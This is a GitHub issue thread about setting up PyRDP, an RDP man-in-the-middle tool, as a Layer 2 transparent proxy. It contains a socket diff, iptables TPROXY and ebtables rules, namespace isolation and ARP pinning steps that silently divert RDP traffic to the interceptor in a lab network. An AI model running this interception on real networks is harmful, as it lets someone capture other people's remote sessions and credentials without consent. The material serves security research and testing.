-
Notifications
You must be signed in to change notification settings - Fork 248
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Layer 2 transparent proxying #204
Comments
Ok, we spent more time on this one trying to remove the interface needs an IP where the targets are limitation. The issue is still there but we understand why and the technique has improved in the process. There's also an alternative without an IP present but it requires prior knowledge of the target network (or on the fly configuration) which is not ideal. Lastly, we might be able to do a fully transparent proxy where the targets don't need to be specified in advance and w/o relying on our bettercap caplet and from a single process not one-per target. Tproxy implementationNote that the setup is the same as in this issue's message. Same IPs and layout. NetplanDidn't really change, just tweaks network:
version: 2
renderer: networkd
ethernets:
enp0s3:
dhcp4: no
enp0s8:
dhcp4: no
# management interface
enp0s9:
dhcp4: yes
bridges:
br0:
interfaces:
- enp0s3
- enp0s8
# if you are confident that your deployment is not going
# to cause a loop you should leave these enabled, otherwise comment them
parameters:
stp: false
forward-delay: 0 IP_TRANSPARENT on the client side@alxbl added This allows the incoming socket to receive connections not destined to a local address and enables in-kernel interactions with TPROXY iptables rules. diff --git a/bin/pyrdp-mitm.py b/bin/pyrdp-mitm.py
index 4273295..40d2c62 100755
--- a/bin/pyrdp-mitm.py
+++ b/bin/pyrdp-mitm.py
@@ -18,11 +18,37 @@ from pyrdp.core.mitm import MITMServerFactory
from pyrdp.mitm import MITMConfig, DEFAULTS
from pyrdp.mitm.cli import showConfiguration, configure
from pyrdp.logging import LOGGER_NAMES
+import socket
def main():
config = configure()
- reactor.listenTCP(config.listenPort, MITMServerFactory(config))
+
+ # HACKY TEST
+ ok = False
+ if config.transparent:
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ s.setblocking(0)
+ try:
+ if not s.getsockopt(socket.SOL_IP, socket.IP_TRANSPARENT):
+ s.setsockopt(socket.SOL_IP, socket.IP_TRANSPARENT, 1)
+ ok = True
+ except Exception:
+ pass
+
+ s.bind(('0.0.0.0', config.listenPort))
+ out = s.listen()
+ print(out)
+ print('BOUND TRANSPARENTLY')
+
+ reactor.adoptStreamPort(s.fileno(), socket.AF_INET, MITMServerFactory(config))
+ s.close()
+
+ if not ok:
+ print('FAILED TO BIND TRANSPARENTLY.')
+ reactor.listenTCP(config.listenPort, MITMServerFactory(config))
+
logger = logging.getLogger(LOGGER_NAMES.PYRDP)
logger.info("MITM Server listening on port %(port)d", {"port": config.listenPort})
#!/bin/bash -x
# The IP of the RDP server which will receive proxied connections.
SERVER_IP=10.13.37.111
# The mark number to use in iptables (should be fine as-is)
MARK=1
# The routing table ID for custom rules (should be fine as-is)
TABLE_ID=100
# Create a custom routing table for pyrdp traffic
echo "$TABLE_ID pyrdp" >> /etc/iproute2/rt_tables
# this can redirect to localhost now (1)
iptables -t mangle -I PREROUTING -p tcp -d 10.13.37.111 --dport 3389 \
-j TPROXY --tproxy-mark 0x1/0x1 --on-port 3389 --on-ip 127.0.0.1
# Mark RDP traffic intended for clients (2)
iptables -t mangle -A PREROUTING \
-s $SERVER_IP \
-m tcp -p tcp --sport 3389 \
-j MARK --set-mark $MARK
# Set route lookup to the pyrdp table for marked packets.
ip rule add fwmark $MARK lookup $TABLE_ID
# Add a custom route that redirects traffic intended for the outside world to loopback
# So that server-client traffic passes through PyRDP
# This table will only ever be used by RDP so it should not be problematic
ip route add local default dev lo table $TABLE_ID
# If you want the interception to happen at the Layer 2
# Make sure that both your interfaces are bridged together
# WARNING: if you have other important firewall rules, make sure to test the impact of this
modprobe br_netfilter
echo 1 > /proc/sys/net/bridge/bridge-nf-call-iptables
# Target DROP in brouting means out of L2 go route in L3
ebtables -t broute -A BROUTING -i enp0s3 -p ipv4 --ip-dst $SERVER_IP --ip-proto tcp --ip-dport 3389 -j redirect --redirect-target DROP
ebtables -t broute -A BROUTING -i enp0s8 -p ipv4 --ip-src $SERVER_IP --ip-proto tcp --ip-source-port 3389 -j redirect --redirect-target DROP
# recent linux like debian buster
#ebtables-legacy -t broute -A BROUTING -i enp0s8 -p ipv4 --ip-src $SERVER_IP --ip-proto tcp --ip-source-port 3389 -j redirect --redirect-target DROP
# Disable return path filtering
echo 0 > /proc/sys/net/ipv4/conf/default/rp_filter
echo 0 > /proc/sys/net/ipv4/conf/all/rp_filter
echo 0 > /proc/sys/net/ipv4/conf/enp0s3/rp_filter
echo 0 > /proc/sys/net/ipv4/conf/enp0s8/rp_filter
# make work w/o a local IP on br0
# WARNING: unclear if required on not
echo 1 > /proc/sys/net/ipv4/conf/br0/route_localnet
echo 1 > /proc/sys/net/ipv4/conf/enp0s3/route_localnet
# marking socket packets
# WARNING: unclear if required or not but probably good for performance so it will likely stay
iptables -t mangle -N DIVERT
iptables -t mangle -A DIVERT -j MARK --set-mark 1
iptables -t mangle -A DIVERT -j ACCEPT
iptables -t mangle -I PREROUTING -p tcp -m socket -j DIVERT cleanup.sh: left as an exercise to the reader Option 1: Add an interface in networks of interests for ARP resolutionIn our lab setup, doing something like below is enough to make everything work because when the machine needs the L2 address to reply to a poisoned answer, it has the means to look it up by itself. The alternative is ARP pinning described in option 2.
Option 2: ARP PinningARP pin gateways or machines that need to talk to each other. The thought process is: if I'm impersonating 10.13.37.111 and the gateway is 10.13.37.10 then I need to be able to communicate with both on layer 2 on
This requires a route as well:
Future work: Remote out-of-band deployments without a consoleI want to be able to have a default route on References
|
TProxy implementation with ARP pinned gateway and out of band managementI managed to completely isolate the bridge from the rest of the host using network namespaces. The beauty of the network namespace implementation is that there is only one process who has the ability to interact with the bridge and it is pyrdp. This is guaranteed by the kernel-level namespace isolation. The MITM machine has:
Additional information required for the attack that is used in the instructions:
HostSetup the host with its management interface and default route as you would like to use. Don't touch the interception interfaces. MITM Network Namespace# creates the namespace
ip netns add mitm
# gives the interfaces to the namespace, they will disappear from the host and stop working so make sure you have proper access before doing so
ip link set dev enp0s3 netns mitm
ip link set dev enp0s8 netns mitm
# get a bash shell that is inside the namespace, configure the rest from there
ip netns exec mitm /bin/bash
# enable the loopback in the namespace (off by default, required for routing)
ip link set dev lo up
# bridge setup
ip link add name br0 type bridge
ip link set br0 up
ip link set enp0s3 up
ip link set enp0s8 up
ip link set enp0s3 master br0
ip link set enp0s8 master br0
# forward delay to 0
brctl setfd br0 0 Still inside the namespace, run #!/bin/bash -x
# The IP of the RDP server which will receive proxied connections.
SERVER_IP=10.13.37.111
# The mark number to use in iptables (should be fine as-is)
MARK=1
# The routing table ID for custom rules (should be fine as-is)
TABLE_ID=100
# Create a custom routing table for pyrdp traffic
echo "$TABLE_ID pyrdp" >> /etc/iproute2/rt_tables
# this can redirect to localhost now (1)
iptables -t mangle -I PREROUTING -p tcp -d 10.13.37.111 --dport 3389 \
-j TPROXY --tproxy-mark 0x1/0x1 --on-port 3389 --on-ip 127.0.0.1
# Mark RDP traffic intended for clients (2)
iptables -t mangle -A PREROUTING \
-s $SERVER_IP \
-m tcp -p tcp --sport 3389 \
-j MARK --set-mark $MARK
# Set route lookup to the pyrdp table for marked packets.
ip rule add fwmark $MARK lookup $TABLE_ID
# Add a custom route that redirects traffic intended for the outside world to loopback
# So that server-client traffic passes through PyRDP
# This table will only ever be used by RDP so it should not be problematic
ip route add local default dev lo table $TABLE_ID
# If you want the interception to happen at the Layer 2
# Make sure that both your interfaces are bridged together
# WARNING: if you have other important firewall rules, make sure to test the impact of this
modprobe br_netfilter
echo 1 > /proc/sys/net/bridge/bridge-nf-call-iptables
# Target DROP in brouting means out of L2 go route in L3
ebtables -t broute -A BROUTING -i enp0s3 -p ipv4 --ip-dst $SERVER_IP --ip-proto tcp --ip-dport 3389 -j redirect --redirect-target DROP
ebtables -t broute -A BROUTING -i enp0s8 -p ipv4 --ip-src $SERVER_IP --ip-proto tcp --ip-source-port 3389 -j redirect --redirect-target DROP
# recent linux like debian buster
#ebtables-legacy -t broute -A BROUTING -i enp0s8 -p ipv4 --ip-src $SERVER_IP --ip-proto tcp --ip-source-port 3389 -j redirect --redirect-target DROP
# Disable return path filtering
echo 0 > /proc/sys/net/ipv4/conf/default/rp_filter
echo 0 > /proc/sys/net/ipv4/conf/all/rp_filter
echo 0 > /proc/sys/net/ipv4/conf/enp0s3/rp_filter
echo 0 > /proc/sys/net/ipv4/conf/enp0s8/rp_filter
# make work w/o a local IP on br0
# WARNING: unclear if required on not
echo 1 > /proc/sys/net/ipv4/conf/br0/route_localnet
echo 1 > /proc/sys/net/ipv4/conf/enp0s3/route_localnet
# marking socket packets
# WARNING: unclear if required or not but probably good for performance so it will likely stay
iptables -t mangle -N DIVERT
iptables -t mangle -A DIVERT -j MARK --set-mark 1
iptables -t mangle -A DIVERT -j ACCEPT
iptables -t mangle -I PREROUTING -p tcp -m socket -j DIVERT Still inside the namespace, run this: ip route add 10.13.37.0/24 dev br0
ip route add default via 10.13.37.10 dev br0
arp -i br0 -s 10.13.37.10 08:00:27:59:05:fe Lastly, still inside the namespace, start pyrdp with: pyrdp-mitm.py --transparent 10.13.37.111 You will see that the network namespace completely isolates access to the network interfaces, routing tables, iptables/ebtables, etc. From the global namespace you don't see the bridge and from the References
|
Did not know about net namespaces, this is perfect. |
We toyed with the idea of doing L2 transparent proxying instead of L3. This would be more flexible if you need to drop a device on a network segment with DHCP.
It took us more time than I'm willing to admit but here are the rough steps.
Netplan bridge configuration:
In my case,
enp0s3
is the interface on the MITM system with is on the segment shown as (1) above.enp0s8
is the interface on the MITM system on the segment shown as (2) above.setup.sh:
:cleanup.sh
(Warning: it is a bit aggressive on firewall rule deletion, adapt to your needs):Invoking pyrdp (as root!):
I'll merge this with the upstream docs eventually but not now. I wanted to keep track of it so here it is.
*: This is a limitation that we should be able to remove but I couldn't figure it out in a timely fashion.
The text was updated successfully, but these errors were encountered: